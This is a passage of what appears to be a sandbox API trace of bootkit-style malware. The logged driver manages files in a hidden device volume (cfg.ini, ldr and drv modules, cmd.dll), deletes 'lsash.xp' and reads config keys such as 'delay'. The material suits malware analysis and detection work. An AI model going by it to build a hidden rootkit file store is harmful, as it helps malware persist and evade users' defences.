| out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.517] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.517] IdePortDispatch () returned 0x103 [0126.518] KeWaitForMutexObject () returned 0x0 [0126.518] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.518] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.518] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.518] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.518] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.518] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.518] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.518] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.518] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.518] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.518] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.518] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.518] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.518] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.518] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.518] KeLeaveCriticalRegion () [0126.518] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.518] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.518] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.518] KeEnterCriticalRegion () [0126.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.518] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.518] IdePortDispatch () returned 0x103 [0126.518] KeWaitForMutexObject () returned 0x0 [0126.518] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.518] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.518] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.518] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.518] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.519] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.519] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.519] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.519] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.519] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.519] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.519] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.519] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.519] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.519] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.519] KeLeaveCriticalRegion () [0126.519] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.519] ReleaseMutex (hMutex=0x100) returned 1 [0126.519] Sleep (dwMilliseconds=0x2bf20) [0126.526] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e9d4870, dwHighDateTime=0x1d24fa4)) [0126.526] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.526] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.526] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.526] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.526] KeEnterCriticalRegion () [0126.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.526] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.526] IdePortDispatch () returned 0x103 [0126.526] KeWaitForMutexObject () returned 0x0 [0126.527] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.527] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.527] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.527] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.527] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.527] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4bd0 [0126.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.527] KeLeaveCriticalRegion () [0126.527] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.527] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.527] KeEnterCriticalRegion () [0126.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.527] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.527] KeLeaveCriticalRegion () [0126.527] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.527] KeEnterCriticalRegion () [0126.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.527] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.527] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.527] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.527] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.527] IdePortDispatch () returned 0x103 [0126.527] KeWaitForMutexObject () returned 0x0 [0126.527] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.527] KeLeaveCriticalRegion () [0126.527] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.527] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.527] KeEnterCriticalRegion () [0126.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.527] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e6000 [0126.527] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.527] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.527] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.527] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.528] IdePortDispatch () returned 0x103 [0126.528] KeWaitForMutexObject () returned 0x0 [0126.528] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.528] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.528] IdePortDispatch () returned 0x103 [0126.528] KeWaitForMutexObject () returned 0x0 [0126.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.528] KeLeaveCriticalRegion () [0126.528] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.529] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.529] KeEnterCriticalRegion () [0126.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.529] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.529] KeLeaveCriticalRegion () [0126.529] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.529] KeEnterCriticalRegion () [0126.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.529] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.529] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e0870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.529] KeLeaveCriticalRegion () [0126.529] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.529] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.529] KeEnterCriticalRegion () [0126.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.529] ExFreePoolWithTag (P=0xfffffa8003bf4bd0, Tag=0x0) [0126.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.529] KeLeaveCriticalRegion () [0126.529] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.529] ReleaseMutex (hMutex=0xf0) returned 1 [0126.529] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.529] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.529] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.529] KeEnterCriticalRegion () [0126.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.529] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.529] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.529] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.529] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.529] IdePortDispatch () returned 0x103 [0126.529] KeWaitForMutexObject () returned 0x0 [0126.529] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.529] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.529] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.529] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.530] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.530] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8007081bc0 [0126.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.530] KeLeaveCriticalRegion () [0126.530] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.530] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.530] KeEnterCriticalRegion () [0126.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.530] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.530] KeLeaveCriticalRegion () [0126.530] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.530] KeEnterCriticalRegion () [0126.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.530] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.530] IdePortDispatch () returned 0x103 [0126.530] KeWaitForMutexObject () returned 0x0 [0126.530] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.530] KeLeaveCriticalRegion () [0126.530] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.530] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.530] KeEnterCriticalRegion () [0126.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.530] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e7000 [0126.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.530] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.530] IdePortDispatch () returned 0x103 [0126.530] KeWaitForMutexObject () returned 0x0 [0126.531] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.531] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.531] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.531] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.531] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.531] IdePortDispatch () returned 0x103 [0126.531] KeWaitForMutexObject () returned 0x0 [0126.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.531] KeLeaveCriticalRegion () [0126.531] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.531] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.531] KeEnterCriticalRegion () [0126.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.531] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.531] KeLeaveCriticalRegion () [0126.532] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.532] KeEnterCriticalRegion () [0126.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.532] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.532] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ede10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.532] KeLeaveCriticalRegion () [0126.532] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.532] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.532] KeEnterCriticalRegion () [0126.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.532] ExFreePoolWithTag (P=0xfffffa8007081bc0, Tag=0x0) [0126.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.532] KeLeaveCriticalRegion () [0126.532] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.532] ReleaseMutex (hMutex=0xf0) returned 1 [0126.532] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.532] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.532] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.532] KeEnterCriticalRegion () [0126.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.532] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.532] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.532] IdePortDispatch () returned 0x103 [0126.532] KeWaitForMutexObject () returned 0x0 [0126.532] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.532] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.532] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.532] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.532] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.532] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec1d0 [0126.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.532] KeLeaveCriticalRegion () [0126.532] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.533] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.533] KeEnterCriticalRegion () [0126.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.533] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.533] KeLeaveCriticalRegion () [0126.533] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.533] KeEnterCriticalRegion () [0126.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.533] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.533] IdePortDispatch () returned 0x103 [0126.533] KeWaitForMutexObject () returned 0x0 [0126.533] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.533] KeLeaveCriticalRegion () [0126.533] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.533] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.533] KeEnterCriticalRegion () [0126.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.533] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e8000 [0126.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.533] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.533] IdePortDispatch () returned 0x103 [0126.533] KeWaitForMutexObject () returned 0x0 [0126.534] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.534] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.534] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.534] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.534] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.534] IdePortDispatch () returned 0x103 [0126.534] KeWaitForMutexObject () returned 0x0 [0126.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 